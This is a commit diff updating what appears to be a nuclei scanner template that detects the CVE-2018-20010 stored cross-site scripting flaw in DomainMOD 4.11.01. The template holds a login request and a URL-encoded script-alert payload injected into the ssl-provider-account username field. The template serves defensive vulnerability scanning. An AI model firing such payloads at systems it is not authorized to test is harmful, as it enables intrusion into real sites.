Update CVE-2018-20010.yaml

cves/2018/CVE-2018-20010.yaml

@@ -1,60 +1,47 @@
-id: CVE-2018-200010
+id: CVE-2018-20010
 
 info:
-  name: DomainMOD 4.11.01 - 'ssl-accounts.php username' Cross-Site Scripting
+  name: DomainMOD 4.11.01 - Cross-Site Scripting
   author: arafatansari
   severity: medium
   description: |
     DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via /assets/add/ssl-provider-account.php Username field.
   reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-20010
     - https://www.exploit-db.com/exploits/46373/
-    
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-20010
   metadata:
     verified: true
-  tags: wbcecms,xss
+  tags: cve,cve2018,domainmod,xss
 
 requests:
   - raw:
-
-      # - |
-      #   GET /domain/ HTTP/1.1
-      #   Host: {{Hostname}}
-      #   Content-Type: application/x-www-form-urlencoded
-
       - |
-        POST /domain/ HTTP/1.1
+        POST / HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
-       
+
-        new_username=admin&new_password=admin123
+        new_username={{username}}&new_password={{password}}
 
       - |
-        POST /domain/assets/add/ssl-provider-account.php HTTP/1.1
+        POST /assets/add/ssl-provider-account.php HTTP/1.1
-        Host: {{Hostname}}    
+        Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
-        Origin: https://{{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
-        Cache-Control: max-age=0
-        Upgrade-Insecure-Requests: 1
 
-        new_ssl_provider_id=1&new_owner_id=1&new_email_address=&new_username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&new_password=&new_reseller=0&new_reseller_id=&new_notes=
+        new_ssl_provider_id=1&new_owner_id=1&new_email_address=&new_username=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_password=&new_reseller=0&new_reseller_id=&new_notes=
 
       - |
-        GET domain/assets/ssl-accounts.php HTTP/1.1
+        GET /assets/ssl-accounts.php HTTP/1.1
-        Host: {{Hostname}}    
+        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
 
-
+    cookie-reuse: true
-    cookie-reuse: true           
-    matchers-condition: and
     redirects: true
-    max-redirects: 3
+    max-redirects: 2
+    matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - "<script>alert(1)</script>"
+          - '"><script>alert(document.domain)</script></a>'
 
       - type: word
         part: header
@@ -63,4 +50,4 @@ requests:
 
       - type: status
         status:
-          - 200
+          - 200